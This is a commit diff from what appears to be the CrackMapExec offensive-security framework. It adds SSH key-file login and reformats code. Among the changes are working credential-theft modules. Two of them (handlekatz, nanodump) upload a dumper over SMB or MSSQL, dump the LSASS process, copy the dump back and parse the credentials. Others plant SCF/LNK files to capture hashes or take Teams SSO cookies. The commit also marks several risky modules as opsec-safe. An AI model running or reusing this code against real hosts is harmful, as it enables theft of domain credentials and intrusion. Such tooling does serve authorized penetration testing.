Resolve merge conflicts and add ssh keyfile login from marshall

main
Alexander Neff 2023-05-02 13:30:32 +02:00
commit 037bece662
16 changed files with 396 additions and 300 deletions

View File

@ -11,7 +11,7 @@ from termcolor import colored
def gen_cli_args():
VERSION = '5.4.6'
VERSION = "5.4.6"
CODENAME = "Bruce Wayne"
p_loader = ProtocolLoader()
@ -36,47 +36,47 @@ def gen_cli_args():
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
parser.add_argument("--no-progress", action='store_true', help='Not displaying progress bar during scan')
parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
parser.add_argument("--verbose", action='store_true', help="enable verbose output")
parser.add_argument("--debug", action='store_true', help="enable debug level information")
parser.add_argument("--version", action='store_true', help="Display CME version")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--darrell", action="store_true", help="give Darrell a hand")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display CME version")
subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
std_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication')
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action='append', metavar='MODULE', help='module to use')
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')
module_parser.add_argument("--connectback-host", type=str, metavar='CHOST', help='IP for the remote system to connect back to (default: same as server-host)')
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
for protocol in protocols.keys():
protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
protocol_object = p_loader.load_protocol(protocols[protocol]["path"])
subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
if len(sys.argv) == 1:

View File

@ -3,6 +3,7 @@
import random
import socket
import sys
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
@ -48,7 +49,6 @@ class connection(object):
self.hostname = host
self.conn = None
self.admin_privs = False
self.logger = None
self.password = ""
self.username = ""
self.kerberos = True if self.args.kerberos or self.args.use_kcache else False
@ -208,6 +208,7 @@ class connection(object):
secret = []
cred_type = []
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
data = [] # Arbitrary data needed for the login, e.g. ssh_key
for cred_id in self.args.cred_id:
if isinstance(cred_id, str) and cred_id.lower() == 'all':
@ -226,7 +227,7 @@ class connection(object):
secret.append(secret_single)
cred_type.append(cred_type_single)
return domain, username, owned, secret, cred_type
return domain, username, owned, secret, cred_type, data
def parse_credentials(self):
"""
@ -300,9 +301,9 @@ class connection(object):
secret.append(aesKey)
cred_type.append('aesKey')
return domain, username, owned, secret, cred_type
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type):
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
Possible login methods are:
@ -319,8 +320,10 @@ class connection(object):
if cred_type == 'plaintext':
if self.args.kerberos:
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
elif hasattr(self.args, "domain"):
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
return self.plaintext_login(domain, username, secret)
elif self.args.protocol == 'ssh':
return self.plaintext_login(username, secret, data)
else:
return self.plaintext_login(username, secret)
elif cred_type == 'hash':
@ -336,29 +339,32 @@ class connection(object):
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
"""
# domain[n] always corresponds to username[n]
# domain[n] always corresponds to username[n] and owned [n]
domain = []
username = []
owned = [] # Determines whether we have found a valid credential for this user. Default: False
# secret[n] always corresponds to cred_type[n]
secret = []
cred_type = []
data = [] # Arbitrary data needed for the login, e.g. ssh_key
if self.args.cred_id:
db_domain, db_username, db_owned, db_secret, db_cred_type = self.query_db_creds()
db_domain, db_username, db_owned, db_secret, db_cred_type, db_data = self.query_db_creds()
domain.extend(db_domain)
username.extend(db_username)
owned.extend(db_owned)
secret.extend(db_secret)
cred_type.extend(db_cred_type)
data.extend(db_data)
if self.args.username:
parsed_domain, parsed_username, parsed_owned, parsed_secret, parsed_cred_type = self.parse_credentials()
parsed_domain, parsed_username, parsed_owned, parsed_secret, parsed_cred_type, parsed_data = self.parse_credentials()
domain.extend(parsed_domain)
username.extend(parsed_username)
owned.extend(parsed_owned)
secret.extend(parsed_secret)
cred_type.extend(parsed_cred_type)
data.extend(parsed_data)
if self.args.use_kcache:
with sem:
@ -371,7 +377,7 @@ class connection(object):
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
if self.try_credentials(domain[user_index], user, owned[user_index], secr, cred_type[secr_index]):
if self.try_credentials(domain[user_index], user, owned[user_index], secr, cred_type[secr_index], data[secr_index]):
owned[user_index] = True
if not self.args.continue_on_success:
return True
@ -380,7 +386,7 @@ class connection(object):
self.logger.error("Number provided of usernames and passwords/hashes do not match!")
return False
for user_index, user in enumerate(username):
if self.try_credentials(domain[user_index], user, owned[user_index], secret[user_index], cred_type[user_index]) and not self.args.continue_on_success:
if self.try_credentials(domain[user_index], user, owned[user_index], secret[user_index], cred_type[user_index], data[user_index]) and not self.args.continue_on_success:
owned[user_index] = True
if not self.args.continue_on_success:
return True

View File

@ -98,6 +98,12 @@ def main():
cme_logger.error(f"Error opening le dank meme: {e}")
sys.exit(1)
if args.protocol == "ssh":
if args.key_file:
if not args.password:
cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
sys.exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
cme_logger.error("KRB5CCNAME environment variable is not set")
sys.exit(1)

View File

@ -9,13 +9,15 @@ import base64
import re
import sys
from cme.helpers.bloodhound import add_user_bh
class CMEModule:
name = 'handlekatz'
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ['smb']
opsec_safe = True # not really
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
@ -35,79 +37,92 @@ class CMEModule:
self.dir_result = self.handlekatz_path
self.useembeded = True
if 'HANDLEKATZ_PATH' in module_options:
self.handlekatz_path = module_options['HANDLEKATZ_PATH']
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
self.useembeded = False
if 'HANDLEKATZ_EXE_NAME' in module_options:
self.handlekatz = module_options['HANDLEKATZ_EXE_NAME']
self.useembeded = False
if "HANDLEKATZ_EXE_NAME" in module_options:
self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"]
if 'TMP_DIR' in module_options:
self.tmp_dir = module_options['TMP_DIR']
if "TMP_DIR" in module_options:
self.tmp_dir = module_options["TMP_DIR"]
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
if self.useembeded == True:
with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz:
if self.useembeded:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
context.log.display('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir))
with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz:
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
try:
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share))
context.log.success(
f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}"
)
except Exception as e:
context.log.fail('Error writing file to share {}: {}'.format(share, e))
context.log.fail(f"Error writing file to share {self.share}: {e}")
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display('Getting lsass PID {}'.format(command))
# get LSASS PID via `tasklist`
command = "tasklist /v /fo csv | findstr /i \"lsass\""
context.log.display(f"Getting lsass PID via command {command}")
p = connection.execute(command, True)
context.log.debug(f"Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID")
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(',')[1][1:-1]
command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
context.log.display('Executing command {}'.format(command))
context.log.debug(f"pid: {pid}")
command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if 'Lsass dump is complete' in p:
context.log.success('Process lsass.exe was successfully dumped')
context.log.debug(f"Command result: {p}")
if "Lsass dump is complete" in p:
context.log.success("Process lsass.exe was successfully dumped")
dump = True
else:
context.log.fail('Process lsass.exe error un dump, try with verbose')
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ''
if matches:
machine_name = matches.group()
else:
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
context.log.display('Copy {} to host'.format(machine_name))
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, 'wb+') as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
context.log.success(
f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}"
)
except Exception as e:
context.log.fail('Error while get file: {}'.format(e))
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success('Deleted handlekatz file on the {} share'.format(self.share))
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail('Error deleting handlekatz file on share {}: {}'.format(self.share, e))
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
@ -115,27 +130,33 @@ class CMEModule:
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display("Deobfuscating, this might take a while")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
credentials = []
credz_bh = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
context.log.fail(f'Error parsing minidump: {e}')
context.log.fail(f"Error parsing minidump: {e}")
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
'tspkg_creds']
ssps = [
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
"tspkg_creds"
]
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
@ -150,8 +171,8 @@ class CMEModule:
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
credz_bh.append({"username": username.upper(), "domain": domain.upper()})
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail('Error opening dump file', str(e))
context.log.fail("Error opening dump file", str(e))

View File

@ -17,10 +17,11 @@ class CMEModule:
name = "nanodump"
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ["smb", "mssql"]
opsec_safe = False
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.connection = None
self.dir_result = None
self.tmp_dir = None
self.useembeded = None
@ -39,7 +40,7 @@ class CMEModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@ -49,12 +50,12 @@ class CMEModule:
self.nano_path = ""
self.useembeded = True
if 'NANO_PATH' in module_options:
self.nano_path = module_options['NANO_PATH']
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
self.useembeded = False
else:
if sys.platform == "win32":
appdata_path = os.getenv('APPDATA')
appdata_path = os.getenv("APPDATA")
if not os.path.exists(appdata_path + "\CME"):
os.mkdir(appdata_path + "\CME")
self.nano_path = appdata_path + "\CME\\"
@ -65,111 +66,133 @@ class CMEModule:
self.dir_result = self.nano_path
if 'NANO_EXE_NAME' in module_options:
self.nano = module_options['NANO_EXE_NAME']
if "NANO_EXE_NAME" in module_options:
self.nano = module_options["NANO_EXE_NAME"]
self.useembeded = False
if 'TMP_DIR' in module_options:
self.tmp_dir = module_options['TMP_DIR']
if "TMP_DIR" in module_options:
self.tmp_dir = module_options["TMP_DIR"]
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
if self.useembeded:
with open(self.nano_path + self.nano, 'wb') as nano:
if connection.os_arch == 32 and context.protocol == 'smb':
context.log.display("32-bit Windows detected.")
with open(self.nano_path + self.nano, "wb") as nano:
if self.connection.os_arch == 32 and self.context.protocol == "smb":
self.context.log.display("32-bit Windows detected.")
nano.write(self.nano_embedded32)
elif connection.os_arch == 64 and context.protocol == 'smb':
context.log.display("64-bit Windows detected.")
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
self.context.log.display("64-bit Windows detected.")
nano.write(self.nano_embedded64)
elif context.protocol == 'mssql':
elif self.context.protocol == "mssql":
nano.write(self.nano_embedded64)
else:
context.log.fail('Unsupported Windows architecture')
self.context.log.fail("Unsupported Windows architecture")
sys.exit(1)
if context.protocol == 'smb':
with open(self.nano_path + self.nano, 'rb') as nano:
if self.context.protocol == "smb":
with open(self.nano_path + self.nano, "rb") as nano:
try:
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
else:
with open(self.nano_path + self.nano, 'rb') as nano:
with open(self.nano_path + self.nano, "rb") as nano:
try:
context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
exec_method = MSSQLEXEC(connection.conn)
self.context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
if exec_method.file_exists(self.tmp_dir + self.nano):
context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
else:
context.log.fail("File does not exist on the remote system... error during upload")
self.context.log.fail("File does not exist on the remote system... error during upload")
sys.exit(1)
except Exception as e:
context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display(f"Getting lsass PID {command}")
p = connection.execute(command, True)
pid = p.split(',')[1][1:-1]
timestamp = datetime.today().strftime('%Y%m%d_%H%M')
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
# execution fails, which it doesn't
display_output = True if self.context.protocol == "smb" else False
self.context.log.debug(f"Display Output: {display_output}")
# get LSASS PID via `tasklist`
command = "tasklist /v /fo csv | findstr /i \"lsass\""
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to get LSASS PID")
return
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
nano_log_name = f"{timestamp}.log"
command = f"{self.tmp_dir}{self.nano} --pid {pid} --write {self.tmp_dir}{nano_log_name}"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if 'Done' in p:
context.log.success('Process lsass.exe was successfully dumped')
self.context.log.display(f"Executing command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to execute NanoDump")
self.delete_nanodump_binary()
return
# results returned are different between SMB and MSSQL
full_results = " ".join(p) if self.context.protocol == "mssql" else p
if "Done" in full_results:
self.context.log.success("Process lsass.exe was successfully dumped")
dump = True
else:
context.log.fail('Process lsass.exe error on dump, try with verbose')
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
if dump:
context.log.display(f"Copying {nano_log_name} to host")
filename = f"{self.dir_result}{connection.hostname}_{connection.os_arch}_{connection.domain}.log"
if context.protocol == 'smb':
with open(filename, 'wb+') as dump_file:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
context.log.fail(f"Error while getting file: {e}")
self.context.log.fail(f"Error while getting file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
context.log.success(f"Deleted nano file on the {self.share} share")
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
self.context.log.success(f"Deleted nano file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(connection.conn)
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
context.log.fail(f"Error while getting file: {e}")
self.context.log.fail(f"Error while getting file: {e}")
self.delete_nanodump_binary()
try:
connection.execute(f"del {self.tmp_dir + self.nano}")
context.log.success(f"Deleted nano file on the {self.share} dir")
self.connection.execute(f"del {self.tmp_dir + nano_log_name}")
self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
except Exception as e:
context.log.fail(f"Error deleting nano file on dir {self.tmp_dir}: {e}")
try:
connection.execute(f"del {self.tmp_dir + nano_log_name}")
context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
fh = open(filename, "r+b")
fh.seek(0)
@ -187,16 +210,16 @@ class CMEModule:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
context.log.fail(f'Error parsing minidump: {e}')
self.context.log.fail(f"Error parsing minidump: {e}")
ssps = [
'msv_creds',
'wdigest_creds',
'ssp_creds',
'livessp_creds',
'kerberos_creds',
'credman_creds',
'tspkg_creds'
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
"tspkg_creds"
]
for luid in pypy_parse.logon_sessions:
@ -215,19 +238,26 @@ class CMEModule:
else:
credtype = "hash"
credential = NThash
context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
self.context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
self.context.db.add_credential(
credtype,
connection.domain,
username,
credential,
pillaged_from=host_id
)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
bh_creds.append({'username': username.upper(), 'domain': domain.upper()})
if "." not in domain and domain.upper() in self.connection.domain.upper():
domain = self.connection.domain
bh_creds.append({"username": username.upper(), "domain": domain.upper()})
if len(bh_creds) > 0:
add_user_bh(bh_creds, None, context.log, connection.config)
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
self.context.log.fail(f"Error opening dump file: {e}")
def delete_nanodump_binary(self):
try:
self.connection.execute(f"del {self.tmp_dir + self.nano}")
self.context.log.success(f"Deleted nano file on the {self.share} dir")
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}")

View File

@ -14,7 +14,7 @@ class CMEModule:
name = "scuffy"
description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares"
supported_protocols = ["smb"]
opsec_safe = False
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):

View File

@ -14,7 +14,7 @@ class CMEModule:
name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = False
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):

View File

@ -9,7 +9,7 @@ class CMEModule:
name = 'teams_localdb'
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
supported_protocols = ['smb']
opsec_safe = False
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):

View File

@ -1,6 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from cme.config import process_secret
from cme.connection import *
from cme.logger import CMEAdapter
from ftplib import FTP, error_reply, error_temp, error_perm, error_proto
@ -67,14 +67,14 @@ class ftp(connection):
self.conn.login(user=username, passwd=password)
self.logger.success(
f"{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
f"{username}:{process_secret(password)}"
)
self.conn.close()
return True
except Exception as e:
self.logger.fail(
f'{username}:{password if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8} (Response:{e})'
f'{username}:{process_secret(password)} (Response:{e})'
)
self.conn.close()
return False

View File

@ -61,7 +61,7 @@ class mssql(connection):
self.enum_host_info()
self.print_host_info()
self.login()
if hasattr(self.args, 'module') and self.args.module:
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
@ -69,10 +69,10 @@ class mssql(connection):
def proto_logger(self):
self.logger = CMEAdapter(
extra={
'protocol': 'MSSQL',
'host': self.host,
'port': self.args.port,
'hostname': 'None'
"protocol": "MSSQL",
"host": self.host,
"port": self.args.port,
"hostname": "None"
}
)
@ -80,7 +80,7 @@ class mssql(connection):
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try:
# Probably a better way of doing this, grab our IP from the socket
self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0]
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
except:
pass
@ -90,7 +90,7 @@ class mssql(connection):
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login('', '')
smb_conn.login("", "")
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
pass
@ -98,7 +98,7 @@ class mssql(connection):
self.domain = smb_conn.getServerDNSDomainName()
